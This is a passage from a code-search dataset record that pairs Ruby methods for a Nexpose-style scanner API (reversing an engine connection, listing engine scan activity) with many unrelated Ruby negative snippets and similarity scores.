"def destroy(sym)\n klass = get_plugin sym\n @klasses.delete klass\n remove_const canonize sym\n end",
"def delete(connection)\n connection.delete_engine(@id, @scope)\n end",
"def engines\n self.class.engines_for_name(name)\n end",
"def clear\n ve 'rm(list=ls())'\n end",
"def unwatch\n if @watcher\n @watcher = nil\n @enabled = false\n end\n end",
"def remove_trigger plugin_name\n events.reject! { |event| event.plugin == plugin_name.to_s }\n end",
"def remove_all\n @jobs.each do |job|\n job.unschedule\n end\n @@instances.delete self\n end",
"def remove_bot(key)\n if (bot = bot(key))\n bot.stop\n @bots.delete(key)\n end\n rescue => e\n log_error(e, \"Attempting to remove bot with key #{key}\")\n end",
"def remove_agent_by_instance(agent_instance)\n remove_agent_by_name agent_instance.name\n end",
"def free!\n return false if matches.empty?\n match_preference_indexes = matches.map { | match | preferences.index match }\n max = match_preference_indexes.max # The index of the match with the lowest preference\n candidate_to_reject = preferences[ max ]\n\n # Delete from both sides\n candidate_to_reject.matches.delete self\n self.matches.delete candidate_to_reject\n end",
"def remove_watcher\n email = args.shift\n\n if delete_watcher_from_email(email)\n puts \"Removed #{email} as a watcher\"\n else\n puts \"No watchers with that email found in the watcher list\"\n end\n end",
"def unRegisterAllService\n\t\tServiceModel.delete_all\n\tend",
"def remove(album)\r\n found = find_by_name(album.name)\r\n @internal_list.delete(found) unless found.nil?\r\n \r\n self\r\n end",
"def remove_channel(channel_name)\r\n @channels.delete(channel_name.downcase)\r\n end",
"def unsubscribe\n unregister\n end",
"def remove_host(host)\r\n @hosts.delete(host)\r\n end",
"def clear!\n _strategies.clear\n end",
"def destroy\n @engine_type = EngineType.find(params[:id])\n @engine_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(engine_types_url) }\n format.xml { head :ok }\n end\n end",
"def uninstall\n command = resource_or_provider_command\n self.class.validate_command(command)\n\n command_options = [\"uninstall\", \"-y\", \"-q\", @resource[:name]]\n\n execute([command, command_options])\n end",
"def engines\n @engine_instances ||= ::Rails::Engine.subclasses.map(&:instance).select {|e| is_registered_platform_engine?(e)}\n end",
"def unregister_linter(name)\n registered_linters.delete(name)\n end",
"def clear\n registered_commands.each(&:terminate)\n registered_commands.clear\n\n self\n end",
"def remove(*pkgs)\n opts = pkgs.last.is_a?(Hash) ? pkgs.pop : {}\n project.run \"apk del #{pkgs.join(' ')}\", opts\n end",
"def clear_processors_instances\n @@processors = nil\n end",
"def purge_instances!\n @@instances = [] and true\n end",
"def clear_cache(options={})\n clean\n cmd=\"rm -f /var/cache/apt/*.bin /var/lib/apt/lists/*_* /var/lib/apt/lists/partial/*\"\n send(run_method, cmd, options)\n end",
"def uninstall_app(app_name)\n @apps.delete(app_name) if @apps[app_name]\n end",
"def remove\n remove_checkpoints\n remove_config\n remove_hiera_template\n end",
"def remove_game(channel)\n if t = @games[channel].join_timer\n @bot.timer.remove(t)\n end\n @games.delete(channel)\n end",
"def remove_game(channel)\n if t = @games[channel].join_timer\n @bot.timer.remove(t)\n end\n @games.delete(channel)\n end",
"def remove( name ) @appenders.delete(name) end",
"def remove name, type = nil, &block\n debug \"Runner#remove name:#{name}, type:#{type}\" \n \n batch \"#{name}.#{type}\", \"kill\", true\n batch \"#{name}.#{type}\", \"rm\", true \n unregister_all(/#{name}\\.#{type}\\./)\n end",
"def unregister(option)\n @registry.delete(option)\n @options.delete_if {|key, value| option == value }\n option\n end",
"def remove(klass)\n self.instance.remove(klass)\n end",
"def unregister name\n @tags.delete(name)\n end",
"def unregister name\n @tags.delete(name)\n end",
"def unregister(symbol); end",
"def unregister(object)\n\t\t\t@registered.delete(object)\n\t\tend"
] |
[
"0.6021842",
"0.57978475",
"0.5543416",
"0.5396357",
"0.5293891",
"0.52709705",
"0.52490824",
"0.5210177",
"0.5149985",
"0.51209754",
"0.5106502",
"0.50798714",
"0.5062802",
"0.5001143",
"0.49821478",
"0.4980737",
"0.49687755",
"0.49638912",
"0.49544933",
"0.49321955",
"0.49307328",
"0.4911902",
"0.49013105",
"0.49008274",
"0.4896804",
"0.4885056",
"0.48821068",
"0.48806947",
"0.4872035",
"0.4871494",
"0.48679006",
"0.48627642",
"0.48383573",
"0.48220435",
"0.4818583",
"0.48071006",
"0.47920665",
"0.47888467",
"0.47731635",
"0.47703215",
"0.4769293",
"0.47546452",
"0.47502834",
"0.47449932",
"0.47446495",
"0.47378802",
"0.47207612",
"0.4716979",
"0.47154903",
"0.47012344",
"0.4696495",
"0.46953514",
"0.46945313",
"0.4682681",
"0.46821404",
"0.46704382",
"0.46653497",
"0.46614105",
"0.46495524",
"0.46495524",
"0.46495074",
"0.46460092",
"0.46438774",
"0.4641191",
"0.4633724",
"0.46307582",
"0.46195713",
"0.4618773",
"0.46156377",
"0.46121073",
"0.46083525",
"0.46051836",
"0.4602985",
"0.45945877",
"0.4590382",
"0.4589773",
"0.4588353",
"0.45827335",
"0.4577948",
"0.45773372",
"0.45742303",
"0.45739907",
"0.45714557",
"0.4570915",
"0.45687592",
"0.45642874",
"0.45622733",
"0.4558321",
"0.45548475",
"0.45508072",
"0.45506677",
"0.45506677",
"0.4550367",
"0.45367366",
"0.4534763",
"0.4531491",
"0.4526402",
"0.4526402",
"0.4523972",
"0.45205373"
] |
0.49649525
|
17
|
Reverses the direction of a connection to an engine If the connection is currently initiated from the console this method will have the engine initiate the connection. If the connection is currently initiated by the engine this method with initiate the connection from the console instead. Requires a restart of the console for the connection to be properly established.
|
def reverse_engine_connection(engine_id)
uri = "/api/2.1/engine/#{engine_id}/reverseConnection"
response = AJAX.put(self, uri)
response.eql?('true')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cmd_rev2self(*args)\n client.sys.config.revert_to_self\n end",
"def rev_engine\n\t\tputs \"VVVRRROOOMMM!!!!!! VVVVRRROOMMM!!!!!\"\n\tend",
"def unbind\n EM.add_timer(1) do\n puts \"Client: Reconnecting to #{@host}:#{@port}\"\n\n # Reconnect can be called with a different host / port and it will reuse\n # the same connection instance.\n reconnect(@host, @port)\n end\n end",
"def reverse!\n @direction = - @direction\n self\n end",
"def reconnect\n EM.stop\n\n connect\n end",
"def reverse!() end",
"def reverse!() end",
"def inverse\n @commands.reverse.map { |name, args|\n method = :\"invert_#{name}\"\n raise IrreversibleMigration unless respond_to?(method, true)\n send(method, args)\n }\n end",
"def reverse\n closed!\n @leds.reverse!\n self\n end",
"def reconnect!\n @connection.reset_connection\n end",
"def reconnect!\n disconnect!\n connect\n end",
"def reconnect!\n disconnect!\n connect\n end",
"def reconnect!\n end",
"def reverse!\n end",
"def reverse!\n end",
"def reverse() end",
"def reverse() end",
"def reconnect!\n disconnect\n connect!\n end",
"def replay\n ssh(self.join) unless @history.empty?\n end",
"def replay\n ssh(self.join) unless @history.empty?\n end",
"def reconnect!\n if active?\n disconnect\n end\n connect\n end",
"def reconnect\n disconnect\n connect\n end",
"def revert_database\n ActiveRecord::Base.establish_connection(default_connection)\n end",
"def reconnect\n end",
"def reconnect\n end",
"def reconnect\n end",
"def connection_mirror_state\n super\n end",
"def connection_mirror_state\n super\n end",
"def mirror\n self\n end",
"def reset!\n return unless @connection.started?\n\n @connection.stop\n perform_setup\n end",
"def turn_off_engine\n fail 'No Driver Error' if driver.nil?\n\n @engine_on = false\n end",
"def unbind\n puts \"client a connection has terminated\"\n EventMachine::stop_event_loop() \n end",
"def reverse\n brick.execute(_polarity)\n end",
"def revert()\n if(@proxy == nil)\n @proxy = Action::Proxy.new(self.method('revert'))\n end\n @proxy\n end",
"def reverse_replication_agent(run_mode, name)\n RubyAem::Resources::ReverseReplicationAgent.new(@client, run_mode, name)\n end",
"def reconnect! # :nodoc:\n super\n @raw_connection.reset!\n rescue OracleEnhanced::ConnectionException => e\n @logger.warn \"#{adapter_name} automatic reconnection failed: #{e.message}\" if @logger\n end",
"def connect(*options)\n self.redis = nil\n @options = options\n end",
"def reverseVNC(host)\n\t\t#winvnc -autoreconnect -connect host:port\n\t\tlocalVnc = ENV['TEMP'] + \"/\" + @vncName\n\t\tif !File.exists?(localVnc)\n\t\t\tsend('sendVnc:')\n\t\tend\n\t\treturn if !File.exists?(localVnc)\n\t\t`#{localVnc} -autoreconnect -connect #{host}:5500`\n\tend",
"def reconnect\n # reuse existing connection driver\n # to prevent race condition between fibers\n conn = (self.conn||= @driver.new)\n conn.disconnect if connected?\n @pid = Process.pid\n puts \"connecting: #@host:#@port $$#@pid\" if @debug\n conn.connect(@host, @port, @timeout)\n self\n end",
"def mirror\n Minimart::Commands::Mirror.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def turn_on\n connections.each(&:disconnect)\n @connections = []\n end",
"def reconnect!\n @active = true\n end",
"def reset!\n reconnect!\n end",
"def reconnect!\n @connection.reset!\n rescue OracleEnhancedConnectionException => e\n @logger.warn \"#{adapter_name} automatic reconnection failed: #{e.message}\"\n end",
"def backward\n direction(:backward)\n end",
"def reversal\n result = self.class.new\n vertices.each { |vertex| result.add_vertex(vertex) }\n edges.each do |edge|\n newedge = edge.class.new(edge.target, edge.source, edge.label)\n result.add_edge(newedge)\n end\n result\n end",
"def post_init\n @connector = Aeon::Connector.new(self)\n end",
"def post_init\n @connector = Aeon::Connector.new(self)\n end",
"def onCmdReverse(sender, sel, ptr)\n bctrl :flat, :buy, :short, :flip\n @watcher.cmdReverse\n end",
"def unbind\n puts \"Connection terminated #{@my_connection_index}) #{@my_address} - #{@signature}\"\n\n pp self.inspect if error?\n\n # TODO: Remove connection from $connection_list\n end",
"def disconnect\n @hazel.shutdown\n end",
"def establish_connection(options={})\n\t\tconnection.ensure_tunnel(options)\n\tend",
"def disconnect!\n super\n ensure\n if (restart = @restart)\n @restart = nil\n restart.signal\n end\n end",
"def install_commands #:nodoc:\n Commands::Reconnect.new()\n end",
"def disconnect!; end",
"def method_missing(meth, *args, &block)\n begin\n @proxy.send(meth, *args, &block)\n rescue\n establish\n puts 'connect reestablished'\n @proxy.send(meth, *args, &block)\n end\n end",
"def restore!\n IO.console.cooked!\n end",
"def reverse!\n\t vertices.reverse!\n\t edges.reverse!.map! {|edge| edge.reverse! }\n\t self\n\tend",
"def swap!\n @socket, @other = @other, @socket\n end",
"def connect(*args, &block)\n self.connection = RStomp::Connection.open(configuration.to_hash)\n # If the connection has swapped hosts, then swap out primary and secondary\n if connection.current_host != configuration.host\n configuration.secondary_host = configuration.host\n configuration.host = connection.current_host\n end\n\n # If the connection has swapped ports, then swap out primary and secondary\n if connection.current_port != configuration.port\n configuration.secondary_port = configuration.port\n configuration.port = connection.current_port\n end\n end",
"def apply_settings(con)\n NetworkManager::DBus::Root.activate_connection con, self\n end",
"def unbind\n log.debug { \"Disconnected.\" }\n callback :disconnected\n EM.add_timer(@connection_attempts) do\n @connection_attempts += 1\n reconnect(@host, @port)\n post_init\n end\n end",
"def initialize\n @strategy = DEFAULT_TRAVERSE_STRATEGY\n end",
"def inverse_of(command, args, &block)\n method = :\"invert_#{command}\"\n raise IrreversibleMigration, <<~MSG unless respond_to?(method, true)\n This migration uses #{command}, which is not automatically reversible.\n To make the migration reversible you can either:\n 1. Define #up and #down methods in place of the #change method.\n 2. Use the #reversible method to define reversible behavior.\n MSG\n send(method, args, &block)\n end",
"def mirror\n\t\tEdge.new(@d, @s, @w, *@extra)\n\tend",
"def unbind\n\t\tif @conn.bound?\n\t\t\told_conn = @conn\n\t\t\t@conn = old_conn.dup\n\t\t\told_conn.unbind\n\t\tend\n\tend",
"def disconnect_connection(conn)\n conn.RollbackTrans rescue nil\n super\n end",
"def unbind\n @conn_obj.unbind\n end",
"def Revertir_Cadena\n print \"Ingrese su cadena: \"\n cadena = gets.chomp\n puts cadena.reverse\n end",
"def reverse\n reverseDiGraph = DiGraph.new\n @vertices.each {|x| adj(x).each { |y| reverseDiGraph.add_edge(y, x) } }\n reverseDiGraph\n end",
"def switch!\n solr_endpoint.switch!\n fcrepo_endpoint.switch!\n redis_endpoint.switch!\n end",
"def reset_connection!\n @connection = nil\n end",
"def reverse\n cursor = @tail\n @head = cursor\n until !cursor.prev do\n\n temp = cursor.next\n cursor.next = cursor.prev\n cursor.prev = temp\n cursor = cursor.next\n \n end\n cursor.prev = cursor.next\n cursor.next = nil\n\n @tail = cursor \n \n end",
"def down\n reverse_method_proxy(:down)\n\n true\n end",
"def reverse; end",
"def reverse; end",
"def connect_in_foreground\n NewRelic::Agent.disable_all_tracing { connect(:keep_retrying => false) }\n end",
"def command_two_player_LAN\n # Play decision SE\n $game_system.se_play($data_system.decision_se)\n # Reset frame count for measuring play time\n Graphics.frame_count = 0\n # Switch to game screen\n $scene = Scene_Connect.new\n end",
"def post_init\n @connected = true\n end",
"def post_init\n @connected = true\n end",
"def initialize conn,board_name,reversed=true\n\n\t\t@conn = conn\n\n\t\t@board_name = board_name\n\n\t\t@reversed = reversed\n\n\tend",
"def reverse\n return self unless directed?\n result = DirectedAdjacencyGraph.new\n each_vertex { |v| result.add_vertex v }\n each_edge { |u,v| result.add_edge(v, u) }\n result\n end",
"def stop_reverse_tcp_relay(rport)\n stop_relay(\"Reverse-#{rport}\")\n end",
"def reverse\n end",
"def reverse\n end",
"def connect!\n end",
"def switchDisconnectionON\n send(:SET_DISCONNECT, \"#{Experiment.ID}\", \"#{NodeHandler.instance.expFileURL}\", \"#{OmlApp.getServerAddr}\", \"#{OmlApp.getServerPort}\")\n end",
"def reconnect\n\t\tif @connection != nil\n\t\t\tself.close\n\n\t\t\t@connection = MonetDBConnection.new(user = @username, passwd = @password, lang = @lang, host = @host, port = @port)\n\t\t\t@connection.connect(db_name = @db_name, auth_type = @auth_type)\n\t\tend\n\tend",
"def reconnect!\n disconnect!\n @connection = Fb::Database.connect(@config)\n end",
"def establish\n @proxy = XMLRPC::Client.new(@hostname, '/RPC2', @port).proxy(@proxy_name)\n end",
"def switch_server\n self.connection = nil\n servers << servers.shift\n end",
"def post_init\n EM.enable_proxy(self, @forwarder_connection)\n EM.enable_proxy(@forwarder_connection, self)\n end",
"def drb_restart!\n Vedeu.bind(:_drb_restart_) { Vedeu::Distributed::Server.restart }\n end",
"def revert_to_self\n\t\tclient.send_request(\n\t\t\tPacket.create_request('stdapi_sys_config_rev2self'))\n\tend",
"def disconnect; end",
"def disconnect; end",
"def reverse\n self.query.reverse = true\n self\n end",
"def connect!; end",
"def connect!; end",
"def reverse!\n replace(reverse)\n end"
] |
[
"0.52937156",
"0.52782375",
"0.5225208",
"0.5181506",
"0.5174627",
"0.5144031",
"0.5144031",
"0.51084644",
"0.5023039",
"0.50131863",
"0.49626857",
"0.49626857",
"0.49580184",
"0.4947539",
"0.4947539",
"0.49339813",
"0.49339813",
"0.49336168",
"0.4928327",
"0.4928327",
"0.4897326",
"0.48814496",
"0.4851767",
"0.48505834",
"0.48501047",
"0.48501047",
"0.48463842",
"0.48463842",
"0.48160672",
"0.48005787",
"0.47931054",
"0.47733808",
"0.47617042",
"0.47526821",
"0.47495332",
"0.4715026",
"0.47105205",
"0.4707732",
"0.4698222",
"0.46936613",
"0.4692916",
"0.46833065",
"0.46826658",
"0.46796045",
"0.46676788",
"0.4663743",
"0.46587256",
"0.46587256",
"0.46574602",
"0.46547163",
"0.46511516",
"0.4644521",
"0.46364462",
"0.46328223",
"0.4629434",
"0.46228197",
"0.46147344",
"0.4598674",
"0.4597053",
"0.4584479",
"0.45832494",
"0.45794228",
"0.45783794",
"0.45754966",
"0.4571901",
"0.45690447",
"0.45664504",
"0.45575732",
"0.45572677",
"0.45538226",
"0.45517394",
"0.45383647",
"0.45267075",
"0.45250764",
"0.45218378",
"0.45218378",
"0.45207584",
"0.4516205",
"0.45148152",
"0.45148152",
"0.45030352",
"0.4496942",
"0.44946125",
"0.44918457",
"0.44918457",
"0.4489741",
"0.44762558",
"0.44715023",
"0.44710043",
"0.44699162",
"0.44610107",
"0.44545648",
"0.4453916",
"0.4451458",
"0.4451193",
"0.4451193",
"0.44488835",
"0.44429728",
"0.44429728",
"0.44415247"
] |
0.56109804
|
0
|
Provide a list of current scan activities for a specific Scan Engine.
|
def engine_activity(engine_id)
xml = make_xml('EngineActivityRequest', { 'engine-id' => engine_id })
r = execute(xml)
arr = []
if r.success
r.res.elements.each('//ScanSummary') do |scan_event|
arr << ScanSummary.parse(scan_event)
end
end
arr
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def scan_activity\n r = execute(make_xml('ScanActivityRequest'))\n res = []\n if r.success\n r.res.elements.each('//ScanSummary') do |scan|\n res << ScanSummary.parse(scan)\n end\n end\n res\n end",
"def scan_activity\n r = execute(make_xml('ScanActivityRequest'))\n res = []\n if r.success\n r.res.elements.each('//ScanSummary') do |scan|\n res << ScanSummary.parse(scan)\n end\n end\n res\n end",
"def activity\n r = execute(make_xml('ScanActivityRequest'))\n res = []\n if r.success\n r.res.elements.each('//ScanSummary') do |scan|\n res << ScanData.parse(scan)\n end\n end\n res\n end",
"def activities\n add_to_query restrict_kind: 'activity'\n end",
"def activities\n return @activities\n end",
"def activities(params = {})\n rv = []\n try_again = true\n fetched = 0\n p = params.dup\n p[:offset] = 0\n\n while try_again do\n result = api_call(ROOT_ACTIVITIES, p)\n return nil if result.nil?\n rv += result[:results]\n\n meta = result[:meta]\n fetched += meta[:count]\n if fetched >= meta[:total]\n try_again = false\n else\n p[:offset] += meta[:count]\n end\n end\n\n rv\n end",
"def activities\n get_call(\"1/activities.json\")\n end",
"def case_activity_list\n\t\t@case_activitites = @surgery_case.case_activities\n\tend",
"def list_activities\n GooglePlus::Activity.for_person(id)\n end",
"def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end",
"def tracker_activities\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities = JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n while next_ind.positive? do\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&offset=#{next_ind}&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities += JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n end\n end",
"def activities\n return @activities if @activities != nil && @activities.length > 0\n \n @activities = []\n self.board.cards.each do |card|\n card.actions.each do |action|\n member = Trello::Member.find(action.member_creator_id)\n action_record = {action: action, member: member}\n activity = (Parser.new(action_record, @prefix)).parse\n @activities.push(activity) unless activity == nil\n end\n end\n \n @activities\n end",
"def activities\n self.tags.collect { |tag| tag.activities }.flatten\n end",
"def index\n @activities = Activity.search(params[:search], params[:page], current_user, [{:learners => :learner_sessions}])\n # remove the archived ones:\n @activities.reject! { |a| a.archived }\n @paginated_objects = @activities\n current_user.vendor_interface ||= VendorInterface.find(6)\n params[:list_conditions] = 'all'\n session[:page] = params[:page] || 1\n respond_to do |format|\n format.html do # index.rhtml\n params[:list_conditions] = 'all'\n session[:page] = params[:page] || 1\n end\n format.xml { render :xml => @all_viewable_activities.to_xml }\n end\n end",
"def index\n @scan_protocols = current_account.scan_protocols.all\n end",
"def activities\n Activity.where(\"action_item_uuid in (?)\", action_items.collect(&:uuid))\n end",
"def activities\n\t activity_feed.activities\n\tend",
"def index\n @computers_activities = ComputersActivity.all\n end",
"def all_activities(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :type, :start, :limit, :start_date, :end_date, :done\n end\n request(:get, 'activities', params)\n end",
"def activities\n Activity.\n includes(:activity_objects => self.class.to_s.underscore).\n where(\"#{ self.class.quoted_table_name }.id\" => self.id)\n end",
"def activities(per_page: nil, page: nil)\n if page || per_page\n get_activities(per_page: per_page, page: page)\n else\n get_activities if @activities.empty?\n @activities.values\n end\n end",
"def scan_list\n http_get(:uri=>\"/scans\", :fields=>x_cookie)\n end",
"def index\n @backend_conf_activities = Conf::Activity.all\n end",
"def activities\n @grouped_activities.flatten\n end",
"def index\n @activities = current_user.activities\n end",
"def activities\n activities = [];all_activities = []\n all_activities << RedemptionLog.user_activities(self)\n all_activities << FeedbackLog.user_activities(self)\n sorted_activities = all_activities.flatten.compact.sort_by!{|activity| activity.updated_at }.reverse\n sorted_activities.each do |activity|\n activities << {points: activity.points, outlet_id: activity.outlet_id, outlet_name: activity.outlet_name,\n type: activity.class.name.gsub(/Log/i,''), updated_at: activity.updated_at}\n end\n activities\n end",
"def list_current\n @performances = apply_scopes(Performance)\n .current\n .accessible_by(current_ability, :list_current)\n .includes(\n { appearances: [:instrument, :participant] },\n { contest_category: [:category, { contest: :host }] },\n )\n .order(\"performances.created_at DESC\")\n .paginate(page: params[:page], per_page: 15)\n end",
"def index\n @activity_registers = ActivityRegister.all\n end",
"def activities(options)\n activities_request build_url_parameters(options).merge(detailed: true)\n end",
"def recent_activities(seconds)\n @dealing_platform.gather \"history/activity/#{(seconds * 1000.0).to_i}\", :activities, AccountActivity\n end",
"def index\n @enginestatuses = Enginestatus.all\n end",
"def current_activities\n ids = self.activities.pluck(:id) + ActivitySequence.where(strategy_id: self.id).pluck(:current_activity_id)\n if (ids.size > 0)\n ids.delete(nil) # hack for now\n Activity.where( \"id in (#{ids.join(',')})\")\n else \n Activity.where(\"1=0\") # hack to return empty AR relation. \n end\n end",
"def all_activities\n if user.present?\n Activity.where('(activity_owner_id = :activity_owner_id and activity_owner_type = :activity_owner_type) or user_id = :user_id',\n activity_owner_id: id, activity_owner_type: self.class.name, user_id: user.id).order(created_at: :desc)\n else\n activities\n end\n end",
"def activities(id)\n get(\"/accounts/#{id}/activities\")['activities']\n end",
"def activities(params = {})\n scope 'default'\n get('activities/', params)\n end",
"def index\n @activity_types = ActivityType.all\n end",
"def index_hot_activity(params)\n end",
"def events\n accepted_applications = application_letters.where(status: ApplicationLetter.statuses[:accepted])\n accepted_applications.collect { |a| a.event }\n end",
"def activities_in_date_range(from_date, to_date)\n from_date = format_date from_date\n to_date = format_date to_date\n\n @dealing_platform.gather \"history/activity/#{from_date}/#{to_date}\", :activities, AccountActivity\n end",
"def list_activities(name)\n puts \"\"\n puts \"--------------------------------------------------\"\n puts \"Here is a list of activities popular in #{name}:\".colorize(:green)\n puts \"--------------------------------------------------\"\n puts \"\"\n # prints activities available in city chosen by user\n Twyd::Activity.all.each.with_index(1) do |a, i|\n puts \"#{i}. #{a.name}\"\n end\n end",
"def activities\n @limit = get_limit\n @offset = get_offset(params)\n if !params[:keyword].nil?\n @results_count = Activity.count(:conditions => [ \"name like :kw or description like :kw\", { :kw => \"%\" + params[:keyword].to_s + \"%\" }])\n @activities = Activity.find(:all,\n :conditions => [ \"name like :kw or description like :kw\", { :kw => \"%\" + params[:keyword].to_s + \"%\" }],\n :limit => @limit,\n :offset => @offset)\n end\n @results_pages = @results_count.fdiv(@limit)\n respond_to do |format|\n format.html { render \"manage/activities/index\" }\n format.xml { render :xml => @activities }\n end\n end",
"def index\n @activity_applications = ActivityApplication.all\n end",
"def list\n response = @client.get 'scans'\n ::JSON.parse response.body\n end",
"def activitytypes\n build_settings_array RubyRedtail::Query.run(\"settings/activitytypes\", @api_hash, \"GET\")\n end",
"def getMEELeadActivities\n users = User.all.pluck(:id)\n activities = []\n users.each do |id|\n username = User.find(id).display_name\n #create list of [[user, [their activities...]]...]\n activities.push([username, Activity.where(user_id: id)]) \n end\n return activities \n end",
"def activities()\n sql = \"SELECT a.* FROM activities a INNER JOIN bookings b ON b.activities_id = a.id WHERE b.members_id =$1\"\n values = [@id]\n result = SqlRunner.run(sql, values)\n return result.map { |session| Activity.new( session) }\n end",
"def get_activities\n @params=task_params\n @project=current_user.projects.find(@params[:project_id])\n counter=0\n @res=[]\n @project.activities.each do |p|\n if p.users.include? current_user\n @res[counter]={\n activity_id: p.id, \n name: p.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end",
"def activities\n PointActivity.for_activity(obj, user)\n end",
"def scheduled_activities(validity=:sa_content)\n # TODO: how to memoize with proper cache invalidation?\n days = schedule(validity)['days']\n return {} unless days\n days.inject({}) do |index, (day, day_value)|\n day_value['activities'].each do |row|\n sa = Psc::ScheduledActivity.from_schedule(row)\n\n index[sa.id] = sa\n end\n index\n end\n end",
"def index\n @scanhosts = Scanhost.all\n end",
"def search_activity\n case activity\n when \"voted\"\n query\n .includes(:votes)\n .where(decidim_opinions_opinion_votes: { decidim_author_id: @current_user })\n when \"my_opinions\"\n query\n .where.not(coauthorships_count: 0)\n .joins(:coauthorships)\n .where(decidim_coauthorships: { decidim_author_type: \"Decidim::UserBaseEntity\" })\n .where(decidim_coauthorships: { decidim_author_id: @current_user })\n else # Assume 'all'\n query\n end\n end",
"def activities=(value)\n @activities = value\n end",
"def index\n @apply_activities = ApplyActivity.all\n end",
"def activities\n children('activities')\n end",
"def index\n @activities_lists = ActivitiesList.all\n end",
"def all_activities\n t = PublicActivity::Activity.arel_table\n PublicActivity::Activity.where(\n t[:trackable_id].eq(id).and(t[:trackable_type].eq(Classroom.to_s)).or(\n t[:recipient_id].eq(id).and(t[:recipient_type].eq(Classroom.to_s))\n )\n ).reverse_order\n end",
"def get_filtered_activities(filter, time)\n activities(time, filter)\n end",
"def index \n # search interval\n @begin = params[:begin]\n @end = params[:end]\n \n # -- TEMPORARY --\n # for now, the app is only working with a single camera per user\n @activity_logs = current_user.default_camera.activity_logs\n \n if @activity_logs.length == 0 \n respond_to do |f|\n f.json {\n render :json => { }\n }\n end\n else\n # default interval is 1 hour\n if !@begin or !@begin.to_datetime\n @begin = Time.now - 1.hour\n end\n if !@end or !@end.to_datetime\n @end = Time.now + 1.hour\n end\n\n @selected_activities = @activity_logs.where(:updated_at => @begin.to_datetime..@end.to_datetime ).order(\"id ASC\")\n respond_to do |f|\n f.json {\n render :json => @selected_activities.to_json\n }\n end\n end\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activities = Activity.all\n end",
"def index\n @activity_kinds = ActivityKind.all\n end",
"def index\n @advisers = Adviser.reserved_by(current_user)\n end",
"def index\n @activities = current_user.attending_activities\n render :index\n end",
"def index\n add_breadcrumb I18n.t('watchers'), :case_watchers_path\n case_ids = Case.root.where('assigned_to_id= ? OR user_id= ?', User.current.id, User.current.id ).pluck(:id)\n\n @case_watchers = CaseWatcher.where(case_id: case_ids).\n includes(:case).paginate(page: params[:page], per_page: 25)\n end",
"def index\n if logged_in? && current_user.identity.eql?(1)\n @activities = Activity.all\n else\n not_found\n end\n end",
"def activities(options = {})\n get('/user/activities', query: options)\n end",
"def activities_request(url_parameters)\n activities = []\n\n url = 'history/activity'\n\n while url\n request_result = history_request url: url, api_version: API_V3, url_parameters: url_parameters\n activities += @dealing_platform.instantiate_models(Activity, request_result.fetch(:activities))\n\n url = request_result.fetch(:metadata).fetch(:paging).fetch(:next)\n url_parameters = {}\n end\n\n activities\n end",
"def index\n @activities = @user.activities.includes(:user, :intensity, :exercise_unit, :exercise_type).includes(:comments => [:user]).includes(:cheers => [:user]).order(:date).paginate(:page => params[:page])\n end",
"def index\n @activity_developments = ActivityDevelopment.all\n end",
"def my_activity_types\n my_logs.map {|log| log.activity_type}\n end",
"def learning_course_activities\n return @learning_course_activities\n end",
"def index\n @integrations = current_user.integrations\n @events = Event.by_user_limit current_user\n end",
"def list_scans\n Item.scoped.each {|i|\n puts i.name\n i.scans.each {|x| puts \"\\t#{x}\"}\n puts \"\"\n }\n end",
"def list_scans\n Item.scoped.each {|i|\n puts i.name\n i.scans.each {|x| puts \"\\t#{x}\"}\n puts \"\"\n }\n end",
"def list\n #TODO set visits to an array of visits that are associated with the current user\n end",
"def scan_list_hash\r\n\t\tpost= { \"token\" => @token } \r\n\t\tdocxml=nessus_request('scan/list', post)\r\n\t\tscans=Array.new\r\n\t\tdocxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| \r\n\t\t\tentry=Hash.new\r\n\t\t\tentry[:id]=scan.elements['uuid'].text\r\n\t\t\tentry[:name]=scan.elements['readableName'].text\r\n\t\t\tentry[:current]=scan.elements['completion_current'].text;\r\n\t\t\tentry[:total]=scan.elements['completion_total'].text;\t\t\r\n\t\t\tscans.push(entry) \r\n\t\t}\r\n\t\treturn scans\r\n\tend",
"def search_time_sheet_activities(options={})\n cur_date = options[:start]\n method = 'search.messages'\n entries = []\n cnt = 0\n max_cnt = 15\n\n loop do\n fdate = cur_date.strftime('%Y-%m-%d')\n printf \"\\n>>> gathering activities for #{fdate}\"\n \n query = \"in:engineering from:me on:#{fdate}\"\n matches = self.class.get(\"/#{method}\", query: { token: @token, query: query }).tap do |response|\n printf \"v\"\n raise \"error searching for #{query} from #{method}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch(\"messages\").fetch(\"matches\")\n\n entries.concat matches.map{|x| \n printf \".\"\n x['ts'] = DateTime.strptime(x['ts'],'%s').to_time\n {ts: x['ts'], permalink: x['permalink'], text: x['text']}\n }\n\n break unless(cnt > max_cnt or cur_date < options[:stop])\n \n cur_date += (60*60*24)\n cnt += 1\n end\n\n entries = entries.sort_by { |h| h[:ts] }\n end",
